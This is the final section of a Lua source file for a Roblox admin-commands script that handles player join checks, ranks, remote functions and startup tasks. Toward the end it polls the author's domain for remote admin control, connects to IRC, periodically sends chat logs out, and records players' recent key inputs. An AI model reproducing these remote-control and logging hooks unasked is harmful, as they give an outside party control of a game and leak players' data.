8882 for _,Person in pairs(Server.Players:GetPlayers()) do
8883 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8884 end
8885 end
8886 end
8887 if Settings.ServerLocked == true then
8888 if PlayerAdmin == false then
8889 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8890 end
8891 end
8892
8893 if PlayerAdmin == false then
8894 if Player.AccountAge < Settings.MinimumAge then
8895 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8896 for _,Person in pairs(Server.Players:GetPlayers()) do
8897 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8898 end
8899 end
8900 end
8901
8902 if PlayerAdmin == false then
8903 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8904 table.insert(Settings.Ranks["Member"], Player.Name)
8905 PlayerAdmin = true
8906 Rank = "Member"
8907 end
8908 end
8909
8910 coroutine.wrap(function()
8911 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8912 local function SpawnActions(Character)
8913 if Flings[Player.Name] then
8914 CORE:FlingPlayer(Player)
8915 else
8916 GUI:CreateTaskBar(Player)
8917 end
8918 if Beeps[Player.Name] == true then
8919 SOUND:BeepPlayer(Player)
8920 end
8921 if Jails[Player.Name] then
8922 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8923 end
8924 if PermCommandBars[Player.Name] then
8925 GUI:CommandBar(Player)
8926 end
8927 end
8928 Player.CharacterAdded:connect(SpawnActions)
8929 SpawnActions(Player.Character)
8930 end)()
8931
8932 coroutine.wrap(function()
8933 Player:WaitForChild("PlayerGui")
8934 local Sounds = {}
8935 for _,Data in pairs(TextConverter.LetterSounds) do
8936 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8937 Sound:Play()
8938 table.insert(Sounds, Sound)
8939 end
8940 for _,Data in pairs(TextConverter.LongVowels) do
8941 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8942 Sound:Play()
8943 table.insert(Sounds, Sound)
8944 end
8945 wait(5)
8946 for _,Sound in pairs(Sounds) do
8947 Sound:Destroy()
8948 end
8949 Sounds = {}
8950 end)()
8951
8952 coroutine.wrap(function()
8953 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8954 if IsSB then
8955 wait(1)
8956 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8957 end
8958 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8959 print("Executed ClientLog on "..Player.Name)
8960 if Settings.EnableTaskBar then
8961 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8962 end
8963 end)()
8964
8965 coroutine.wrap(function()
8966 wait(7)
8967 Player:WaitForChild("PlayerGui")
8968 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8969 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8970 if Answer == "Ok" then
8971 MARKET:PromptPurchase(Player, AdminID)
8972 end
8973 end
8974 end)()
8975 end
8976end)() end
8977
8978-- Active stuff --
8979
8980CORE:UpdateAdmin()
8981CORE:FixSettings()
8982
8983ypcall(function()
8984 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8985 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
8986 end
8987end)
8988
8989
8990Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8991 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8992 if PlayerAdmin == false then
8993 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
8994 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
8995 end
8996end end)
8997
8998--[[
8999ExecuteCommand.OnInvoke = function(Player, Command)
9000 if Player and Command then
9001 if type(Player) == "userdata" and Player:IsA("Player") then
9002 CORE:Chatted(Command, Player, true)
9003 end
9004 end
9005end
9006
9007ExecuteCode.OnInvoke = function(Source, Speaker)
9008 if type(Source) == "string" then
9009 ExecuteSafe(Source, Speaker)
9010 end
9011end
9012
9013ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9014 if Player and Command then
9015 if type(Player) == "userdata" and Player:IsA("Player") then
9016 CORE:Chatted(Command, Player, true)
9017 end
9018 end
9019end
9020]]
9021
9022KeyPressed.OnServerInvoke = function(Player, Key)
9023 if Player and Key then
9024 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9025 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9026 end
9027 end
9028end
9029
9030InputKey.OnServerInvoke = function(Player, KeyVal)
9031 if Player and KeyVal then
9032 if LastKeys[Player.UserId] then
9033 table.insert(LastKeys[Player.UserId], KeyVal)
9034 if #LastKeys[Player.UserId] > 20 then
9035 table.remove(LastKeys[Player.UserId], 1)
9036 end
9037 end
9038 end
9039end
9040
9041RankPlayerLocal.OnServerInvoke = function(Player)
9042 wait()
9043 local Request = PendingRequests[Player]
9044 if Request then
9045 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9046 if Settings.Ranks[Request[1]] then
9047 PendingRequests[Player] = nil
9048 table.insert(Settings.Ranks[Request[1]], Player.Name)
9049 GUI:TellAdmin(Player)
9050 end
9051 end
9052 end
9053end
9054
9055RankPlayerServer.OnInvoke = function(Player, Rank)
9056 if not RANK:IsAdmin(Player) then
9057 PendingRequests[Player] = {Rank, tick()}
9058 end
9059end
9060
9061IsAdmin.OnServerInvoke = function(Player)
9062 local IsFullAdmin = false
9063 for _,PName in pairs(Settings.Ranks["Owner"]) do
9064 if PName == Player.Name then IsFullAdmin = true end
9065 end
9066 for _,PName in pairs(Settings.Ranks["Admin"]) do
9067 if PName == Player.Name then IsFullAdmin = true end
9068 end
9069 return IsFullAdmin
9070end
9071
9072AddExploit.OnServerInvoke = CORE.AddExploit
9073AddExploitServer.OnInvoke = CORE.AddExploit
9074
9075KickClient.OnServerInvoke = function(PlayerClient)
9076 PlayerClient:Kick()
9077end
9078
9079ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9080 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9081end
9082
9083for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9084Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9085Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9086
9087coroutine.wrap(function()
9088 for _,ID in pairs(Icons) do
9089 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9090 end
9091end)()
9092
9093CORE:SetAbuseCommands()
9094
9095coroutine.wrap(function() SOUND:SyncSoundList() end)()
9096if not IsStudio then coroutine.wrap(function()
9097 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9098 REMOTE:GetRemoteData(true)
9099 REMOTE:CheckTrelloInfo()
9100 coroutine.wrap(function()
9101 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9102 REMOTE.RemoteConnection = true
9103 end
9104 end)()
9105 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9106 coroutine.wrap(function()
9107 if Settings.LinkedAccount ~= "" then
9108 local Request = nil
9109 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9110 if Request then
9111 REMOTE:HandleRequest(Request, true)
9112 end
9113 end
9114 end)()
9115 coroutine.wrap(function()
9116 wait(RemoteData.RemoteAdminWait)
9117 while REMOTE:GetAndSetWebData() do
9118 wait(RemoteData.RemoteAdminWait)
9119 end
9120 end)()
9121 coroutine.wrap(function()
9122 while wait(60) do
9123 REMOTE:GetRemoteData(true)
9124 REMOTE:CheckTrelloInfo()
9125 end
9126 end)()
9127end)() end
9128coroutine.wrap(function()
9129 if Settings.TrelloToken ~= "" then
9130 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9131 if #Trello.RequiredLists > 0 then
9132 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9133 if Trello.MainBoard.name then
9134 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9135 REMOTE:TrelloCacheData(Lists)
9136 REMOTE:TrelloHandleData(true)
9137 coroutine.wrap(function()
9138 wait(RemoteData.TrelloWait)
9139 while REMOTE:TrelloHandleData() do
9140 wait(RemoteData.TrelloWait)
9141 end
9142 end)()
9143 end
9144 end
9145 else
9146 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9147 end
9148end)()
9149coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9150 REMOTE:SendChatLog()
9151end end)()
9152coroutine.wrap(function() while true do
9153 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9154 if ThisDate then Date = ThisDate end
9155 wait(600)
9156end end)()
9157
9158print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")